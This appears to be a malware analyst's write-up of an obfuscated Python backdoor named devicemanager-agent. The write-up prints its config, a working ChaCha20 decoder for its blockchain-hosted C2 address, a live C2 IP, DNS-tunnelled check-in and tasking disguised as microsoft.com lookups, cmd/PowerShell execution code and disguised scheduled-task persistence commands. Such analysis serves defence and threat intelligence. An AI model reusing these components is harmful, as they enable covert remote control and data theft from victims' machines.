b2aa52f6a09022524c8bd2b8411e3b5d7eab8f190300f84ff6ec11464568c96c
Has an onboard python project that is obfuscated
after deobfuscating it appears to be some kind of a backdoor/loader type bot that has an onboard config and retrieves the next hop from the ethereum blockchain,
Config:
_cfg = AgentConfig(server_url="http://127.0.0.1:8000", token="320473d40b7b18dc9fd3820bd48a55bf15806f835cb79b87f751a3b167534011", transport_mode="dns", dns_server_ip="127.0.0.1", dns_port=53, contract_address="0x5d04ed162c548fc4508cbb59266b02afbaf3ebc1", rpc_endpoints="https://eth.llamarpc.com,https://ethereum-rpc.publicnode.com,https://eth.drpc.org,https://rpc.eth.gateway.fm,https://eth-mainnet.public.blastapi.io,https://gateway.tenderly.co/public/mainnet,https://ethereum.rpc.subquery.network/public,https://eth.api.onfinality.io/public,https://rpc.sentio.xyz/mainnet,https://eth.merkle.io", blockchain_key="320473d40b7b18dc9fd3820bd48a55bf15806f835cb79b87f751a3b167534011", hardcoded_ip="", get_data_selector="1dcf296b")
blockchain data and C2 data are chacha20 encrypted
Decoding data from blockchain:
import struct
import binascii
import hashlib
def _quarter_round(state: list[int], a: int, b: int, c: int, d: int) -> None:
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] ^= state[a]
state[d] = ((state[d] << 16) | (state[d] >> 16)) & 0xFFFFFFFF
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] ^= state[c]
state[b] = ((state[b] << 12) | (state[b] >> 20)) & 0xFFFFFFFF
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] ^= state[a]
state[d] = ((state[d] << 8) | (state[d] >> 24)) & 0xFFFFFFFF
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] ^= state[c]
state[b] = ((state[b] << 7) | (state[b] >> 25)) & 0xFFFFFFFF
def _chacha20_block(key: bytes, counter: int, nonce: bytes) -> bytes:
state = [
0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
*struct.unpack("<8I", key),
counter & 0xFFFFFFFF,
*struct.unpack("<3I", nonce),
]
working = list(state)
for _ in range(10):
_quarter_round(working, 0, 4, 8, 12)
_quarter_round(working, 1, 5, 9, 13)
_quarter_round(working, 2, 6, 10, 14)
_quarter_round(working, 3, 7, 11, 15)
_quarter_round(working, 0, 5, 10, 15)
_quarter_round(working, 1, 6, 11, 12)
_quarter_round(working, 2, 7, 8, 13)
_quarter_round(working, 3, 4, 9, 14)
output = b""
for i in range(16):
output += struct.pack("<I", (working[i] + state[i]) & 0xFFFFFFFF)
return output
def chacha20_encrypt(key: bytes, nonce: bytes, plaintext: bytes) -> bytes:
ciphertext = bytearray()
block_count = (len(plaintext) + 63) // 64
for counter in range(block_count):
keystream = _chacha20_block(key, counter, nonce)
start = counter * 64
end = min(start + 64, len(plaintext))
for i in range(start, end):
ciphertext.append(plaintext[i] ^ keystream[i - start])
return bytes(ciphertext)
def chacha20_decrypt(key: bytes, nonce: bytes, ciphertext: bytes) -> bytes:
return chacha20_encrypt(key, nonce, ciphertext)
def _decrypt(ciphertext, key_material, nonce_src):
key = hashlib.sha256(key_material.encode()).digest()[:32]
nonce = bytes.fromhex(nonce_src.replace("0x", "").lower()[:24])[:12]
if len(nonce) < 12:
nonce = nonce.ljust(12, b"\x00")
pt = chacha20_decrypt(key, nonce, ciphertext)
return pt
keys = ['320473d40b7b18dc9fd3820bd48a55bf15806f835cb79b87f751a3b167534011', '320473d40b7b18dc9fd3820bd48a55bf15806f835cb79b87f751a3b167534011']
data = binascii.unhexlify('a0145a80e7bf9a6abec040caea37')
nonce = '0x5d04ed162c548fc4508cbb59266b02afbaf3ebc1'
print(_decrypt(data,keys[0], nonce))
C2:
91.92.240.100
transport mode in this case is set to dns and not http
few hardcoded files
target_main = install_dir / "agent_main.pyw"
target_pkg = install_dir / "agent"
return _state_dir() / "config.json"
return _state_dir() / "agent.log"
can execute commands
if shell == "cmd":
result = run_cmd_disk(payload, timeout) if exec_mode == "disk" else run_cmd(payload, timeout)
elif shell == "powershell":
result = run_powershell_disk(payload, timeout) if exec_mode == "disk" else run_powershell(payload, timeout)
elif shell == "python":
result = run_python(payload, timeout)
cmd:
["cmd.exe", "/Q", "/K"],
powershell:
return _run_via_stdin(
[
"powershell.exe",
"-NoProfile",
"-NonInteractive",
"-NoLogo",
"-Command",
"-",
run a command from disk batch file
def run_cmd_disk(payload: str, timeout: int) -> ExecutionResult:
fd, path = tempfile.mkstemp(suffix=".bat", prefix="_dm_")
try:
os.write(fd, ("@echo off\r\n" + payload + "\r\n").encode("utf-8"))
finally:
os.close(fd)
return _run_file(
["cmd.exe", "/c", path],
run a powershell command or from disk
detonate a file on disk
C2 traffic, dns version will send custom queries to the C2 IP retrieved from the blockchain a custom subdomain built and added to the beginning of microsoft.com
DNS config:
TYPE_A = 1
TYPE_TXT = 16
CLASS_IN = 1
DOMAIN = "microsoft.com"
CHUNK_SIZE = 3000
C2 traffic example:
checkin code:
checkin_id = device_hash + tag_short
info_sent = dns.query_txt(f"i-{device_hash}-{info_hex}") == "1"
checkin:
i-f1a72d8766e7b09f-7c57696e646f777320446566656e6465727c57696e64.6f7773203130202831302e302e3139303434297c4445534b544f502d4554353.1414a4f7c312e337c62653036.microsoft[.com
Decoded:
|Windows Defender|Windows 10 (10.0.19044)|DESKTOP-ET51AJO|1.3|be06
Task list:
txt = self.query_txt(f"t-{device_hash}-{_os.getpid()}")
Example:
t-4187077e2f3d772a[.microsoft[.com
response in TXT
69635e70-6b2f-457b-8716-7b8fe2aa9b1b:powershell:1
This is: task_id: 69635e70-6b2f-457b-8716-7b8fe2aa9b1b executed by shell: powershell parts: 1
task xml file: https://www.virustotal.com/gui/file/8bafa68d10d445ee59a633bcf912dca4b6873644ef746c4b1f272d99d2a09cba/relations
C2: https://www.virustotal.com/gui/ip-address/91.92.240.100/relations
The backdoor also calls itself
devicemanager-agent
Panel calls itself DeviceManager
scheduled tasks found: schtasks.exe /Create /F /TN IntelSoftwareUpdater /XML C:\Users<USER>\AppData\Local\Temp\t.xml
schtasks.exe /Create /F /TN PythonAppUpdater /XML C:\Users<USER>\AppData\Local\Temp\t.xml
schtasks.exe /Create /F /TN AMDSoftwareUpdater /XML C:\Users<USER>\AppData\Local\Temp\t.xml